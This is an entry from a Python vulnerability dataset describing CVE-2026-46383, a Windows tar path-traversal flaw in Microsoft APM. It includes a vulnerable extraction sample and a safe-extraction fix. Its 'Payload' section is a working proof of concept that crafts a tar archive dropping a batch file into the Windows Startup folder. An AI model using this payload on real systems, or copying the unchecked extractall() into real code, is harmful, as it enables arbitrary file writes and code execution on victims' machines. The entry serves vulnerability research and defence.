VAITP Dataset

← Back to the dataset

CVE-2026-46383

Microsoft APM path traversal on Windows via crafted TAR archives.

  • CVSS 5.5
  • CWE-22
  • Input Validation and Sanitization
  • Local

Microsoft APM is an open-source, community-driven dependency manager for AI agents. Prior to 0.13.0, Microsoft APM contains a Windows-specific archive extraction boundary failure in the legacy-bundle probe used by apm install <bundle> on supported Python 3.10 and 3.11 runtimes. When apm install is given a local .tar.gz that is not recognized as a plugin-format bundle, APM probes whether it is a legacy –format apm bundle. On Python versions earlier than 3.12, that probe extracts untrusted tar members with raw tar.extractall() without rejecting Windows absolute member names such as D:/…. This vulnerability is fixed in 0.13.0.

CVSS base score
5.5
Published
2026-05-15
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Microsoft AP
Fixed by upgrading
Yes

Solution

Upgrade Microsoft APM to version 0.13.0 or later.

Vulnerable code sample

import tarfile
import tempfile

def _is_not_a_plugin_bundle(archive_path):
    # This is a placeholder for the check described in the CVE.
    # We return True to force the vulnerable legacy probe path.
    return True

def process_legacy_bundle_probe(local_tar_path):
    """
    This function simulates the vulnerable probe for a legacy bundle.
    It directly calls tar.extractall() without any path validation.
    """
    with tempfile.TemporaryDirectory() as tmpdir:
        with tarfile.open(local_tar_path, "r:gz") as tar:
            # VULNERABLE CALL: On Python < 3.12, the tarfile module on Windows
            # allows members with absolute paths (e.g., 'D:/path/to/file') to
            # be extracted to that absolute path, ignoring the 'path' argument.
            tar.extractall(path=tmpdir)

def apm_install(bundle_path):
    """
    Simulates the top-level 'apm install <bundle>' command logic.
    """
    if _is_not_a_plugin_bundle(bundle_path):
        # If the bundle is not in a recognized modern format, the code
        # falls back to the vulnerable probe for a legacy bundle.
        process_legacy_bundle_probe(bundle_path)

Patched code sample

import tarfile
import os
import io

def create_malicious_tar(filename="malicious.tar.gz", member_name="C:/windows/temp/pwned.txt"):
    """Creates a sample malicious tar.gz file for demonstration."""
    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w:gz") as tar:
        file_content = b"malicious content"
        tarinfo = tarfile.TarInfo(name=member_name)
        tarinfo.size = len(file_content)
        tar.addfile(tarinfo, io.BytesIO(file_content))
    
    with open(filename, "wb") as f:
        f.write(tar_buffer.getvalue())

def safe_extract_archive(tar_path: str, destination_dir: str):
    """
    Safely extracts a tar archive, preventing path traversal and absolute paths.
    This represents the fix for the described vulnerability.
    """
    # Resolve the destination directory to an absolute path to prevent ambiguity.
    real_destination_dir = os.path.realpath(destination_dir)

    with tarfile.open(tar_path, "r:*") as tar:
        for member in tar.getmembers():
            # Skip directories, they are created implicitly by file extraction.
            if not member.isfile():
                continue

            # Build the full, potential destination path for the member.
            member_dest_path = os.path.join(real_destination_dir, member.name)
            
            # Resolve the real path of the member, collapsing any ".." or absolute paths.
            real_member_dest_path = os.path.realpath(member_dest_path)

            # THE FIX:
            # Check if the resolved path of the member is within the intended
            # destination directory. This prevents both absolute paths (e.g., "C:/...")
            # and directory traversal attacks (e.g., "../...").
            if os.path.commonpath([real_destination_dir, real_member_dest_path]) == real_destination_dir:
                tar.extract(member, path=destination_dir)
            else:
                print(f"[SECURITY] Skipped potentially unsafe member: {member.name}")

if __name__ == '__main__':
    # --- Demonstration ---
    
    # 1. Define paths for the demonstration.
    malicious_archive_name = "malicious_absolute_path.tar.gz"
    safe_extraction_path = "safe_output"
    
    # 2. Create a sample malicious archive with a Windows absolute path.
    # This simulates the file that would trigger the vulnerability.
    create_malicious_tar(
        filename=malicious_archive_name,
        member_name="C:/windows/temp/pwned_by_cve.txt"
    )

    # 3. Create the intended extraction directory if it doesn't exist.
    os.makedirs(safe_extraction_path, exist_ok=True)
    
    print(f"Attempting to extract '{malicious_archive_name}' into '{safe_extraction_path}'...")

    # 4. Use the fixed (safe) extraction function.
    safe_extract_archive(malicious_archive_name, safe_extraction_path)
    
    print("\nExtraction finished.")
    print(f"Check the contents of the '{safe_extraction_path}' directory.")
    print("The malicious file should NOT have been written to C:/windows/temp.")

    # Clean up created files
    os.remove(malicious_archive_name)
    if not os.listdir(safe_extraction_path):
        os.rmdir(safe_extraction_path)

Payload

import tarfile
import io

archive_name = "malicious.tar.gz"
# This absolute path targets the All Users Startup folder on Windows.
malicious_path = "C:/ProgramData/Microsoft/Windows/Start Menu/Programs/StartUp/poc.bat"
# The content is a simple batch script to demonstrate execution.
payload_content = b'@echo off\r\nstart calc.exe\r\n'

tar_info = tarfile.TarInfo(name=malicious_path)
tar_info.size = len(payload_content)

with tarfile.open(archive_name, "w:gz") as tar:
    tar.addfile(tarinfo=tar_info, fileobj=io.BytesIO(payload_content))

Cite this entry

@misc{vaitp:cve202646383,
  title        = {{Microsoft APM path traversal on Windows via crafted TAR archives.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-46383},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-46383/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::